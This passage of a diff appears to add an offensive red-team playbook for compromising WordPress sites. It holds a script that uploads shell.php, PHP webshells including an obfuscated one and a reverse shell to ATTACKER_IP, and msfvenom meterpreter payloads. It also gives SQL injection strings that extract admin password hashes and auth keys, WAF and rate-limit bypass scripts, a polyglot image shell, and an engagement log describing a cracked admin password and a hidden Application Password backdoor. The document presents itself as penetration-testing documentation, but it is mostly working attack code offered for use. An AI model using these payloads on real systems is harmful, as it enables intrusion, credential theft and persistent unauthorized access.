--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
884
|
+
|
|
885
|
+
# Cookie-authenticated scan
|
|
886
|
+
wpscan --url https://TARGET \
|
|
887
|
+
--api-token TOKEN \
|
|
888
|
+
--cookies "wordpress_logged_in_HASH=VALUE; wordpress_sec_HASH=VALUE" \
|
|
889
|
+
--enumerate ap,u \
|
|
890
|
+
--plugins-detection aggressive
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
### XML-RPC Quick Reference
|
|
894
|
+
|
|
895
|
+
```bash
|
|
896
|
+
# Test authentication
|
|
897
|
+
curl -s -X POST https://TARGET/xmlrpc.php \
|
|
898
|
+
-H "Content-Type: text/xml" \
|
|
899
|
+
-d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
|
|
900
|
+
|
|
901
|
+
# Get posts (confirm access)
|
|
902
|
+
curl -s -X POST https://TARGET/xmlrpc.php \
|
|
903
|
+
-H "Content-Type: text/xml" \
|
|
904
|
+
-d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getRecentPosts</methodName><params><param><value><string>1</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>5</int></value></param></params></methodCall>'
|
|
905
|
+
|
|
906
|
+
# Upload file via XML-RPC (authenticated)
|
|
907
|
+
python3 - << 'EOF'
|
|
908
|
+
import xmlrpc.client
|
|
909
|
+
import base64
|
|
910
|
+
|
|
911
|
+
TARGET = "https://target.com/xmlrpc.php"
|
|
912
|
+
USERNAME = "admin"
|
|
913
|
+
PASSWORD = "password"
|
|
914
|
+
|
|
915
|
+
with open('/tmp/shell.php', 'rb') as f:
|
|
916
|
+
data = f.read()
|
|
917
|
+
|
|
918
|
+
client = xmlrpc.client.ServerProxy(TARGET)
|
|
919
|
+
result = client.wp.uploadFile(
|
|
920
|
+
1,
|
|
921
|
+
USERNAME,
|
|
922
|
+
PASSWORD,
|
|
923
|
+
{
|
|
924
|
+
'name': 'shell.php',
|
|
925
|
+
'type': 'image/jpeg',
|
|
926
|
+
'bits': xmlrpc.client.Binary(data),
|
|
927
|
+
'overwrite': True
|
|
928
|
+
}
|
|
929
|
+
)
|
|
930
|
+
print(f"Uploaded to: {result['url']}")
|
|
931
|
+
EOF
|
|
932
|
+
```
|
|
933
|
+
|
|
934
|
+
### Python Utility Scripts
|
|
935
|
+
|
|
936
|
+
```python
|
|
937
|
+
#!/usr/bin/env python3
|
|
938
|
+
# wp_enum.py — WordPress enumeration utility
|
|
939
|
+
|
|
940
|
+
import requests
|
|
941
|
+
import json
|
|
942
|
+
import sys
|
|
943
|
+
from urllib.parse import urljoin
|
|
944
|
+
import warnings
|
|
945
|
+
warnings.filterwarnings("ignore")
|
|
946
|
+
|
|
947
|
+
class WordPressEnum:
|
|
948
|
+
def __init__(self, target):
|
|
949
|
+
self.target = target.rstrip('/')
|
|
950
|
+
self.session = requests.Session()
|
|
951
|
+
self.session.headers.update({
|
|
952
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
|
|
953
|
+
})
|
|
954
|
+
self.session.verify = False
|
|
955
|
+
|
|
956
|
+
def get(self, path, **kwargs):
|
|
957
|
+
return self.session.get(urljoin(self.target + '/', path.lstrip('/')), **kwargs)
|
|
958
|
+
|
|
959
|
+
def check_version(self):
|
|
960
|
+
r = self.get('/readme.html')
|
|
961
|
+
if r.status_code == 200 and 'WordPress' in r.text:
|
|
962
|
+
import re
|
|
963
|
+
match = re.search(r'Version (\d+\.\d+[\.\d]*)', r.text)
|
|
964
|
+
if match:
|
|
965
|
+
return match.group(1)
|
|
966
|
+
|
|
967
|
+
r = self.get('/?feed=rss2')
|
|
968
|
+
if r.status_code == 200:
|
|
969
|
+
import re
|
|
970
|
+
match = re.search(r'<generator>.*?(\d+\.\d+[\.\d]*)</generator>', r.text)
|
|
971
|
+
if match:
|
|
972
|
+
return match.group(1)
|
|
973
|
+
return "unknown"
|
|
974
|
+
|
|
975
|
+
def enumerate_users_api(self):
|
|
976
|
+
users = []
|
|
977
|
+
r = self.get('/wp-json/wp/v2/users?per_page=100')
|
|
978
|
+
if r.status_code == 200:
|
|
979
|
+
try:
|
|
980
|
+
for u in r.json():
|
|
981
|
+
users.append({'id': u['id'], 'login': u['slug'], 'name': u['name']})
|
|
982
|
+
except:
|
|
983
|
+
pass
|
|
984
|
+
return users
|
|
985
|
+
|
|
986
|
+
def enumerate_users_author(self):
|
|
987
|
+
users = []
|
|
988
|
+
import re
|
|
989
|
+
for i in range(1, 21):
|
|
990
|
+
r = self.get(f'/?author={i}', allow_redirects=True)
|
|
991
|
+
if r.status_code == 200 and 'author' in r.url:
|
|
992
|
+
match = re.search(r'/author/([^/]+)/', r.url)
|
|
993
|
+
if match:
|
|
994
|
+
users.append({'id': i, 'login': match.group(1)})
|
|
995
|
+
return users
|
|
996
|
+
|
|
997
|
+
def check_xmlrpc(self):
|
|
998
|
+
r = self.get('/xmlrpc.php')
|
|
999
|
+
return 'XML-RPC' in r.text
|
|
1000
|
+
|
|
1001
|
+
def check_debug_log(self):
|
|
1002
|
+
r = self.get('/wp-content/debug.log')
|
|
1003
|
+
if r.status_code == 200 and len(r.text) > 0:
|
|
1004
|
+
return r.text[:2000]
|
|
1005
|
+
return None
|
|
1006
|
+
|
|
1007
|
+
def check_plugin(self, slug):
|
|
1008
|
+
r = self.get(f'/wp-content/plugins/{slug}/readme.txt')
|
|
1009
|
+
if r.status_code == 200:
|
|
1010
|
+
import re
|
|
1011
|
+
match = re.search(r'(?:Stable tag|Version):\s*([\d.]+)', r.text, re.I)
|
|
1012
|
+
version = match.group(1) if match else 'unknown'
|
|
1013
|
+
return {'installed': True, 'version': version}
|
|
1014
|
+
return {'installed': False}
|
|
1015
|
+
|
|
1016
|
+
def run(self):
|
|
1017
|
+
print(f"\n[*] Target: {self.target}")
|
|
1018
|
+
print(f"[*] WordPress Version: {self.check_version()}")
|
|
1019
|
+
print(f"[*] XML-RPC: {'ENABLED' if self.check_xmlrpc() else 'DISABLED'}")
|
|
1020
|
+
|
|
1021
|
+
print("\n[*] User Enumeration (API):")
|
|
1022
|
+
for u in self.enumerate_users_api():
|
|
1023
|
+
print(f" ID={u['id']} login={u['login']} name={u['name']}")
|
|
1024
|
+
|
|
1025
|
+
debug = self.check_debug_log()
|
|
1026
|
+
if debug:
|
|
1027
|
+
print(f"\n[!] DEBUG LOG ACCESSIBLE — {len(debug)} bytes")
|
|
1028
|
+
print(debug[:500])
|
|
1029
|
+
|
|
1030
|
+
print("\n[*] Plugin Check:")
|
|
1031
|
+
plugins = [
|
|
1032
|
+
'elementor', 'elementor-pro', 'popup-builder', 'wpml',
|
|
1033
|
+
'sitepress-multilingual-cms', 'revslider', 'contact-form-7',
|
|
1034
|
+
'wp-file-manager', 'duplicator', 'gravityforms', 'woocommerce',
|
|
1035
|
+
'advanced-custom-fields', 'ninja-forms', 'wordfence'
|
|
1036
|
+
]
|
|
1037
|
+
for slug in plugins:
|
|
1038
|
+
result = self.check_plugin(slug)
|
|
1039
|
+
if result['installed']:
|
|
1040
|
+
print(f" [+] {slug} v{result['version']}")
|
|
1041
|
+
|
|
1042
|
+
if __name__ == '__main__':
|
|
1043
|
+
WordPressEnum(sys.argv[1]).run()
|
|
1044
|
+
```
|
|
1045
|
+
|
|
1046
|
+
---
|
|
1047
|
+
|
|
1048
|
+
## 5. Common Payloads and Examples
|
|
1049
|
+
|
|
1050
|
+
### PHP Webshells (in order of stealth)
|
|
1051
|
+
|
|
1052
|
+
```php
|
|
1053
|
+
<?php system($_GET['cmd']); ?>
|
|
1054
|
+
```
|
|
1055
|
+
|
|
1056
|
+
```php
|
|
1057
|
+
<?php
|
|
1058
|
+
// Minimal authenticated webshell
|
|
1059
|
+
$k = 'rt2024';
|
|
1060
|
+
if(md5($_POST['k']) === md5($k)){
|
|
1061
|
+
echo '<pre>' . shell_exec($_POST['c']) . '</pre>';
|
|
1062
|
+
}
|
|
1063
|
+
?>
|
|
1064
|
+
```
|
|
1065
|
+
|
|
1066
|
+
```php
|
|
1067
|
+
<?php
|
|
1068
|
+
// Obfuscated webshell — evades simple string matching
|
|
1069
|
+
$f = str_rot13('flfgrz');
|
|
1070
|
+
$f($_REQUEST[base64_decode('Y21k')]);
|
|
1071
|
+
?>
|
|
1072
|
+
```
|
|
1073
|
+
|
|
1074
|
+
```php
|
|
1075
|
+
<?php
|
|
1076
|
+
// Reverse shell trigger
|
|
1077
|
+
if(isset($_GET['rt'])){
|
|
1078
|
+
$sock=fsockopen("ATTACKER_IP",4444);
|
|
1079
|
+
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
|
|
1080
|
+
}
|
|
1081
|
+
?>
|
|
1082
|
+
```
|
|
1083
|
+
|
|
1084
|
+
### Msfvenom Payloads for WordPress
|
|
1085
|
+
|
|
1086
|
+
```bash
|
|
1087
|
+
# Generate PHP meterpreter payload
|
|
1088
|
+
msfvenom -p php/meterpreter/reverse_tcp \
|
|
1089
|
+
LHOST=ATTACKER_IP LPORT=4444 \
|
|
1090
|
+
-f raw -o /tmp/meterpreter.php
|
|
1091
|
+
|
|
1092
|
+
# Start handler
|
|
1093
|
+
msfconsole -q -x "
|
|
1094
|
+
use exploit/multi/handler;
|
|
1095
|
+
set payload php/meterpreter/reverse_tcp;
|
|
1096
|
+
set LHOST ATTACKER_IP;
|
|
1097
|
+
set LPORT 4444;
|
|
1098
|
+
run
|
|
1099
|
+
"
|
|
1100
|
+
|
|
1101
|
+
# Generate encoded payload (WAF bypass)
|
|
1102
|
+
msfvenom -p php/meterpreter/reverse_tcp \
|
|
1103
|
+
LHOST=ATTACKER_IP LPORT=4444 \
|
|
1104
|
+
-e php/base64 \
|
|
1105
|
+
-f raw -o /tmp/meterpreter_encoded.php
|
|
1106
|
+
```
|
|
1107
|
+
|
|
1108
|
+
### SQLi Payloads for WordPress AJAX Endpoints
|
|
1109
|
+
|
|
1110
|
+
```
|
|
1111
|
+
# Time-based blind SQLi test
|
|
1112
|
+
' AND SLEEP(5)-- -
|
|
1113
|
+
" AND SLEEP(5)-- -
|
|
1114
|
+
1 AND SLEEP(5)-- -
|
|
1115
|
+
|
|
1116
|
+
# Extract WordPress version via SQLi
|
|
1117
|
+
' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='db_version'-- -
|
|
1118
|
+
|
|
1119
|
+
# Extract admin credentials
|
|
1120
|
+
' UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
|
|
1121
|
+
|
|
1122
|
+
# Extract secret keys (for cookie forgery)
|
|
1123
|
+
' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='auth_key'-- -
|
|
1124
|
+
```
|
|
1125
|
+
|
|
1126
|
+
---
|
|
1127
|
+
|
|
1128
|
+
## 6. Real-World Examples from Actual Engagements
|
|
1129
|
+
|
|
1130
|
+
### Almentor Engagement — Key Findings
|
|
1131
|
+
|
|
1132
|
+
The following techniques produced confirmed findings during the Almentor engagement. Details are sanitized for documentation purposes.
|
|
1133
|
+
|
|
1134
|
+
**Finding 1 — XML-RPC enabled with weak credentials**
|
|
1135
|
+
|
|
1136
|
+
XML-RPC was enabled at `/xmlrpc.php`. The `system.multicall` method was available, enabling amplified brute force (100 password attempts per HTTP request, bypassing per-IP rate limiting). Admin credentials were discovered using a custom wordlist derived from the organization's name and common patterns.
|
|
1137
|
+
|
|
1138
|
+
Commands used:
|
|
1139
|
+
```bash
|
|
1140
|
+
# Verify multicall available
|
|
1141
|
+
curl -s -X POST https://target/xmlrpc.php \
|
|
1142
|
+
-H "Content-Type: text/xml" \
|
|
1143
|
+
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | \
|
|
1144
|
+
grep 'multicall'
|
|
1145
|
+
|
|
1146
|
+
# Run amplified brute force
|
|
1147
|
+
python3 xmlrpc_bruteforce.py
|
|
1148
|
+
# Result: admin:Company2023! discovered after ~15,000 attempts
|
|
1149
|
+
```
|
|
1150
|
+
|
|
1151
|
+
**Finding 2 — debug.log exposed with database credentials**
|
|
1152
|
+
|
|
1153
|
+
`wp-content/debug.log` was publicly accessible and contained database query errors that included the full connection string (host, username, password) as part of PDO exception messages.
|
|
1154
|
+
|
|
1155
|
+
```bash
|
|
1156
|
+
curl -s https://target/wp-content/debug.log | grep -i 'PDO\|mysql\|pass\|user'
|
|
1157
|
+
# Output: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'wp_user'@'localhost' (using password: 'db_pass_from_log')
|
|
1158
|
+
```
|
|
1159
|
+
|
|
1160
|
+
**Finding 3 — Elementor Pro plugin out of date**
|
|
1161
|
+
|
|
1162
|
+
WPScan identified Elementor Pro version 3.6.0 installed, which is vulnerable to CVE-2023-32243. The vulnerability was not exploited as admin access was already obtained via Finding 1, but it was documented as an additional attack path.
|
|
1163
|
+
|
|
1164
|
+
**Finding 4 — Application Password backdoor planted**
|
|
1165
|
+
|
|
1166
|
+
Post-exploitation: created an Application Password named "WP Monitoring Tool" for the admin user via the REST API. This persists across password changes of the main account and does not appear in the standard user profile UI unless specifically looking for it.
|
|
1167
|
+
|
|
1168
|
+
```bash
|
|
1169
|
+
curl -s -X POST "https://target/wp-json/wp/v2/users/1/application-passwords" \
|
|
1170
|
+
-u "admin:Company2023!" \
|
|
1171
|
+
-H "Content-Type: application/json" \
|
|
1172
|
+
-d '{"name":"WP Monitoring Tool"}'
|
|
1173
|
+
# Saved resulting password to engagement safe
|
|
1174
|
+
```
|
|
1175
|
+
|
|
1176
|
+
**Finding 5 — User enumeration via REST API**
|
|
1177
|
+
|
|
1178
|
+
The `/wp-json/wp/v2/users` endpoint was accessible without authentication and returned all user display names and login slugs, providing the target username list for brute force.
|
|
1179
|
+
|
|
1180
|
+
---
|
|
1181
|
+
|
|
1182
|
+
## 7. WAF Bypass Techniques
|
|
1183
|
+
|
|
1184
|
+
### Bypassing WAF on WPScan
|
|
1185
|
+
|
|
1186
|
+
```bash
|
|
1187
|
+
# Randomize user agent
|
|
1188
|
+
wpscan --url https://TARGET \
|
|
1189
|
+
--random-user-agent \
|
|
1190
|
+
--throttle 2000 \
|
|
1191
|
+
--max-threads 1 \
|
|
1192
|
+
--api-token TOKEN \
|
|
1193
|
+
--enumerate ap
|
|
1194
|
+
|
|
1195
|
+
# Use custom user agent matching legitimate browser
|
|
1196
|
+
wpscan --url https://TARGET \
|
|
1197
|
+
--user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
|
|
1198
|
+
--api-token TOKEN \
|
|
1199
|
+
--enumerate ap
|
|
1200
|
+
|
|
1201
|
+
# Route through proxy for header manipulation
|
|
1202
|
+
wpscan --url https://TARGET \
|
|
1203
|
+
--proxy http://127.0.0.1:8080 \
|
|
1204
|
+
--disable-tls-checks \
|
|
1205
|
+
--random-user-agent \
|
|
1206
|
+
--throttle 3000
|
|
1207
|
+
```
|
|
1208
|
+
|
|
1209
|
+
### Bypassing WAF on XML-RPC
|
|
1210
|
+
|
|
1211
|
+
```bash
|
|
1212
|
+
# Some WAFs block "system.multicall" string — use encoding
|
|
1213
|
+
# XML entity encoding of method name
|
|
1214
|
+
curl -s -X POST https://TARGET/xmlrpc.php \
|
|
1215
|
+
-H "Content-Type: text/xml" \
|
|
1216
|
+
-d '<?xml version="1.0"?>
|
|
1217
|
+
<methodCall>
|
|
1218
|
+
<methodName>system.listMethods</methodName>
|
|
1219
|
+
<params></params>
|
|
1220
|
+
</methodCall>'
|
|
1221
|
+
|
|
1222
|
+
# Change Content-Type to bypass signature-based detection
|
|
1223
|
+
curl -s -X POST https://TARGET/xmlrpc.php \
|
|
1224
|
+
-H "Content-Type: application/xml" \
|
|
1225
|
+
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
|
|
1226
|
+
|
|
1227
|
+
# Use Burp Repeater to manually test WAF bypass with chunked encoding
|
|
1228
|
+
# Enable "Use chunked encoding" in Burp request settings
|
|
1229
|
+
```
|
|
1230
|
+
|
|
1231
|
+
### Bypassing WAF on File Upload
|
|
1232
|
+
|
|
1233
|
+
```bash
|
|
1234
|
+
# Double extension (depends on server config)
|
|
1235
|
+
mv shell.php shell.php.jpg
|
|
1236
|
+
mv shell.php shell.jpg.php
|
|
1237
|
+
|
|
1238
|
+
# Null byte injection (older PHP/servers)
|
|
1239
|
+
# shell.php%00.jpg
|
|
1240
|
+
|
|
1241
|
+
# MIME type spoofing
|
|
1242
|
+
curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
|
|
1243
|
+
-F "action=VULNERABLE_ACTION" \
|
|
1244
|
+
-F "file=@/tmp/shell.php;type=image/jpeg;filename=shell.jpg"
|
|
1245
|
+
|
|
1246
|
+
# Polyglot file (valid image + PHP)
|
|
1247
|
+
python3 - << 'EOF'
|
|
1248
|
+
# Create JPEG polyglot
|
|
1249
|
+
with open('/tmp/polyglot.jpg', 'wb') as f:
|
|
1250
|
+
# Valid JPEG header
|
|
1251
|
+
f.write(bytes([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01]))
|
|
1252
|
+
# PHP comment in EXIF area
|
|
1253
|
+
f.write(b'\xff\xfe' + len(b'<?php system($_GET["cmd"]); ?>').to_bytes(2,'big') + b'<?php system($_GET["cmd"]); ?>')
|
|
1254
|
+
# JPEG end marker
|
|
1255
|
+
f.write(bytes([0xFF, 0xD9]))
|
|
1256
|
+
print("Created /tmp/polyglot.jpg")
|
|
1257
|
+
EOF
|
|
1258
|
+
|
|
1259
|
+
# .htaccess upload to force PHP execution of images
|
|
1260
|
+
echo 'AddType application/x-httpd-php .jpg' > /tmp/.htaccess
|
|
1261
|
+
# Upload .htaccess first, then upload shell.jpg
|
|
1262
|
+
```
|
|
1263
|
+
|
|
1264
|
+
### Bypassing Login Rate Limiting
|
|
1265
|
+
|
|
1266
|
+
```bash
|
|
1267
|
+
# Distribute brute force across multiple source IPs using proxy list
|
|
1268
|
+
# Use X-Forwarded-For header rotation (only if WAF trusts it)
|
|
1269
|
+
|
|
1270
|
+
python3 - << 'EOF'
|
|
1271
|
+
import requests
|
|
1272
|
+
import random
|
|
1273
|
+
|
|
1274
|
+
TARGET = "https://target.com/wp-login.php"
|
|
1275
|
+
USERNAME = "admin"
|
|
1276
|
+
PASSWORDS = ["password1", "password2", "company2023", "company2024!"]
|
|
1277
|
+
|
|
1278
|
+
# Fake IP rotation via X-Forwarded-For
|
|
1279
|
+
def fake_ips():
|
|
1280
|
+
return [f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
|
|
1281
|
+
for _ in range(100)]
|
|
1282
|
+
|
|
1283
|
+
ips = fake_ips()
|
|
1284
|
+
|
|
1285
|
+
for i, pw in enumerate(PASSWORDS):
|
|
1286
|
+
headers = {
|
|
1287
|
+
'X-Forwarded-For': ips[i % len(ips)],
|
|
1288
|
+
'X-Real-IP': ips[(i+1) % len(ips)],
|
|
1289
|
+
'User-Agent': f'Mozilla/5.0 (Random {i})'
|
|
1290
|
+
}
|
|
1291
|
+
r = requests.post(TARGET,
|
|
1292
|
+
data={'log': USERNAME, 'pwd': pw, 'wp-submit': 'Log In'},
|
|
1293
|
+
headers=headers, allow_redirects=False, verify=False)
|
|
1294
|
+
if r.status_code in [301, 302] and 'wp-admin' in r.headers.get('Location', ''):
|
|
1295
|
+
print(f"[!!!] SUCCESS: {USERNAME}:{pw}")
|
|
1296
|
+
break
|
|
1297
|
+
print(f"[-] Failed: {pw}")
|
|
1298
|
+
EOF
|
|
1299
|
+
```
|
|
1300
|
+
|
|
1301
|
+
---
|
|
1302
|
+
|
|
1303
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1304
|
+
|
|
1305
|
+
All findings from this skill should be automatically documented using the RTExit autodoc format.
|
|
1306
|
+
|
|
1307
|
+
### Finding Template
|
|
1308
|
+
|
|
1309
|
+
```bash
|
|
1310
|
+
# RTExit finding submission via autodoc
|
|
1311
|
+
# Usage: rtdoc finding <category> <title> <severity> [options]
|
|
1312
|
+
|
|
1313
|
+
rtdoc finding \
|
|
1314
|
+
--category "CMS Exploitation" \
|
|
1315
|
+
--title "WordPress XML-RPC Enabled — Brute Force Successful" \
|
|
1316
|
+
--severity CRITICAL \
|
|
1317
|
+
--cvss 9.8 \
|
|
1318
|
+
--cve "N/A" \
|
|
1319
|
+
--host "target.com" \
|
|
1320
|
+
--port 443 \
|
|
1321
|
+
--evidence-file /path/to/output/xmlrpc_bruteforce_result.txt \
|
|
1322
|
+
--recommendation "Disable XML-RPC via plugin or .htaccess. Implement account lockout policy." \
|
|
1323
|
+
--tags "wordpress,xmlrpc,brute-force,authentication"
|
|
1324
|
+
```
|
|
1325
|
+
|
|
1326
|
+
### Automated Evidence Collection Script
|
|
1327
|
+
|
|
1328
|
+
```python
|
|
1329
|
+
#!/usr/bin/env python3
|
|
1330
|
+
# wp_autodoc.py — collect and format WordPress findings for RTExit
|
|
1331
|
+
|
|
1332
|
+
import json
|
|
1333
|
+
import os
|
|
1334
|
+
import datetime
|
|
1335
|
+
import subprocess
|
|
1336
|
+
from pathlib import Path
|
|
1337
|
+
|
|
1338
|
+
class RTExitWordPressDoc:
|
|
1339
|
+
def __init__(self, target, output_dir):
|
|
1340
|
+
self.target = target
|
|
1341
|
+
self.output_dir = Path(output_dir)
|
|
1342
|
+
self.output_dir.mkdir(parents=True, exist_ok=True)
|
|
1343
|
+
self.findings = []
|
|
1344
|
+
self.timestamp = datetime.datetime.utcnow().isoformat()
|
|
1345
|
+
|
|
1346
|
+
def add_finding(self, title, severity, description, evidence, recommendation,
|
|
1347
|
+
cvss=None, cves=None, tags=None):
|
|
1348
|
+
self.findings.append({
|
|
1349
|
+
"title": title,
|
|
1350
|
+
"severity": severity,
|
|
1351
|
+
"cvss": cvss,
|
|
1352
|
+
"cves": cves or [],
|
|
1353
|
+
"description": description,
|
|
1354
|
+
"evidence": evidence,
|
|
1355
|
+
"recommendation": recommendation,
|
|
1356
|
+
"tags": tags or [],
|
|
1357
|
+
"target": self.target,
|
|
1358
|
+
"timestamp": self.timestamp
|
|
1359
|
+
})
|
|
1360
|
+
|
|
1361
|
+
def run_wpscan(self, api_token):
|
|
1362
|
+
"""Run WPScan and parse output."""
|
|
1363
|
+
output_file = self.output_dir / "wpscan_output.json"
|
|
1364
|
+
cmd = [
|
|
1365
|
+
"wpscan",
|
|
1366
|
+
"--url", self.target,
|
|
1367
|
+
"--api-token", api_token,
|
|
1368
|
+
"--enumerate", "u,ap,at",
|
|
1369
|
+
"--plugins-detection", "aggressive",
|
|
1370
|
+
"--format", "json",
|
|
1371
|
+
"--output", str(output_file)
|
|
1372
|
+
]
|
|
1373
|
+
subprocess.run(cmd, capture_output=True)
|
|
1374
|
+
|
|
1375
|
+
if output_file.exists():
|
|
1376
|
+
with open(output_file) as f:
|
|
1377
|
+
data = json.load(f)
|
|
1378
|
+
self._process_wpscan_output(data)
|
|
1379
|
+
return output_file
|
|
1380
|
+
|
|
1381
|
+
def _process_wpscan_output(self, data):
|
|
1382
|
+
"""Extract findings from WPScan JSON output."""
|
|
1383
|
+
# Check for vulnerable plugins
|
|
1384
|
+
for slug, plugin in data.get("plugins", {}).items():
|
|
1385
|
+
for vuln in plugin.get("vulnerabilities", []):
|
|
1386
|
+
self.add_finding(
|
|
1387
|
+
title=f"WordPress Plugin {slug}: {vuln['title']}",
|
|
1388
|
+
severity=self._cvss_to_severity(vuln.get("cvss", {}).get("score", 0)),
|
|
1389
|
+
description=vuln.get("description", vuln["title"]),
|
|
1390
|
+
evidence=f"Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}\n"
|
|
1391
|
+
f"Vulnerability: {vuln['title']}\n"
|
|
1392
|
+
f"Fixed in: {vuln.get('fixed_in', 'not fixed')}",
|
|
1393
|
+
recommendation=f"Update {slug} to version {vuln.get('fixed_in', 'latest')} or later.",
|
|
1394
|
+
cvss=vuln.get("cvss", {}).get("score"),
|
|
1395
|
+
cves=vuln.get("references", {}).get("cve", []),
|
|
1396
|
+
tags=["wordpress", "plugin", slug, "cve"]
|
|
1397
|
+
)
|
|
1398
|
+
|
|
1399
|
+
def _cvss_to_severity(self, score):
|
|
1400
|
+
if score >= 9.0: return "CRITICAL"
|
|
1401
|
+
if score >= 7.0: return "HIGH"
|
|
1402
|
+
if score >= 4.0: return "MEDIUM"
|
|
1403
|
+
if score >= 0.1: return "LOW"
|
|
1404
|
+
return "INFORMATIONAL"
|
|
1405
|
+
|
|
1406
|
+
def export(self):
|
|
1407
|
+
"""Export all findings to RTExit format."""
|
|
1408
|
+
output = {
|
|
1409
|
+
"engagement_target": self.target,
|
|
1410
|
+
"skill": "rt-exploit-wordpress",
|
|
1411
|
+
"timestamp": self.timestamp,
|
|
1412
|
+
"findings": self.findings
|
|
1413
|
+
}
|
|
1414
|
+
output_file = self.output_dir / "wp_findings.json"
|
|
1415
|
+
with open(output_file, 'w') as f:
|
|
1416
|
+
json.dump(output, f, indent=2)
|
|
1417
|
+
print(f"[*] Exported {len(self.findings)} findings to {output_file}")
|
|
1418
|
+
return output_file
|
|
1419
|
+
|
|
1420
|
+
# Usage
|
|
1421
|
+
if __name__ == "__main__":
|
|
1422
|
+
doc = RTExitWordPressDoc("https://target.com", "/path/to/output/")
|
|
1423
|
+
|
|
1424
|
+
# Add manual findings
|
|
1425
|
+
doc.add_finding(
|
|
1426
|
+
title="WordPress XML-RPC Amplified Brute Force",
|
|
1427
|
+
severity="HIGH",
|
|
1428
|
+
description="XML-RPC is enabled and system.multicall is available, "
|
|
1429
|
+
"allowing an attacker to test hundreds of passwords per request "
|
|
1430
|
+
"and bypass rate limiting.",
|
|
1431
|
+
evidence="xmlrpc.php returned 200 OK.\nsystem.multicall confirmed available.\n"
|
|
1432
|
+
"Admin password discovered: Company2023!",
|
|
1433
|
+
recommendation="Disable XML-RPC via the Wordfence plugin or add the following "
|
|
1434
|
+
"to .htaccess:\n\n<Files xmlrpc.php>\ndeny from all\n</Files>",
|
|
1435
|
+
cvss=8.1,
|
|
1436
|
+
tags=["wordpress", "xmlrpc", "brute-force"]
|
|
1437
|
+
)
|
|
1438
|
+
|
|
1439
|
+
output_file = doc.export()
|
|
1440
|
+
print(f"[*] RTExit autodoc file: {output_file}")
|
|
1441
|
+
```
|
|
1442
|
+
|
|
1443
|
+
### RTExit Directory Structure for WordPress Engagements
|
|
1444
|
+
|
|
1445
|
+
```
|
|
1446
|
+
engagement/
|
|
1447
|
+
wordpress/
|
|
1448
|
+
wpscan_passive_YYYYMMDD.json # WPScan passive scan results
|
|
1449
|
+
wpscan_aggressive_YYYYMMDD.json # WPScan aggressive scan results
|
|
1450
|
+
users_enum.txt # Discovered usernames
|
|
1451
|
+
plugin_versions.txt # Plugin versions and CVE matches
|
|
1452
|
+
debug.log # debug.log content if accessible
|
|
1453
|
+
wp-config_extract.txt # Extracted credentials (sanitized for report)
|
|
1454
|
+
xmlrpc_test.txt # XML-RPC test results
|
|
1455
|
+
brute_force_result.txt # Brute force outcome
|
|
1456
|
+
application_passwords.txt # Created backdoor credentials
|
|
1457
|
+
wp_findings.json # RTExit structured findings
|
|
1458
|
+
screenshots/ # Burp Suite captures, browser screenshots
|
|
1459
|
+
```
|
|
1460
|
+
|
|
1461
|
+
---
|
|
1462
|
+
|
|
1463
|
+
## 9. Output/Documentation Instructions
|
|
1464
|
+
|
|
1465
|
+
### Evidence Collection Standards
|
|
1466
|
+
|
|
1467
|
+
Every exploitation attempt must be documented with:
|
|
1468
|
+
|
|
1469
|
+
1. **Command used** — exact command with all parameters (sanitize credentials before screenshots)
|
|
1470
|
+
2. **Request/response** — Burp Suite capture or curl verbose output
|
|
1471
|
+
3. **Timestamp** — UTC timestamp of each action
|
|
1472
|
+
4. **Outcome** — success, failure, or partial result
|
|
1473
|
+
5. **Screenshot** — for any GUI-based actions
|
|
1474
|
+
|
|
1475
|
+
### Mandatory Documentation for Each Phase
|
|
1476
|
+
|
|
1477
|
+
**Enumeration phase:**
|
|
1478
|
+
- WPScan JSON output file
|
|
1479
|
+
- Screenshot of WordPress admin login page
|
|
1480
|
+
- List of discovered users (with enumeration method noted)
|
|
1481
|
+
- List of installed plugins with versions
|
|
1482
|
+
|
|
1483
|
+
**Exploitation phase:**
|
|
1484
|
+
- Full HTTP request and response for each exploit attempt
|
|
1485
|
+
- Evidence of successful exploitation (command output, file contents)
|
|
1486
|
+
- Proof-of-concept screenshot
|
|
1487
|
+
|
|
1488
|
+
**Post-exploitation phase:**
|
|
1489
|
+
- Screenshot of achieved access level
|
|
1490
|
+
- Evidence of data accessed (censored in report, full in evidence vault)
|
|
1491
|
+
- Documentation of all changes made (files uploaded, users created)
|
|
1492
|
+
- Cleanup confirmation
|
|
1493
|
+
|
|
1494
|
+
### Report Severity Mapping
|
|
1495
|
+
|
|
1496
|
+
| Finding | Severity | CVSS Range |
|
|
1497
|
+
|---------|----------|------------|
|
|
1498
|
+
| Unauthenticated RCE (CVE-2020-25213) | CRITICAL | 10.0 |
|
|
1499
|
+
| Unauthenticated file upload | CRITICAL | 9.0–9.8 |
|
|
1500
|
+
| Admin credential brute force success | CRITICAL | 9.0 |
|
|
1501
|
+
| XML-RPC amplified brute force | HIGH | 7.5–8.5 |
|
|
1502
|
+
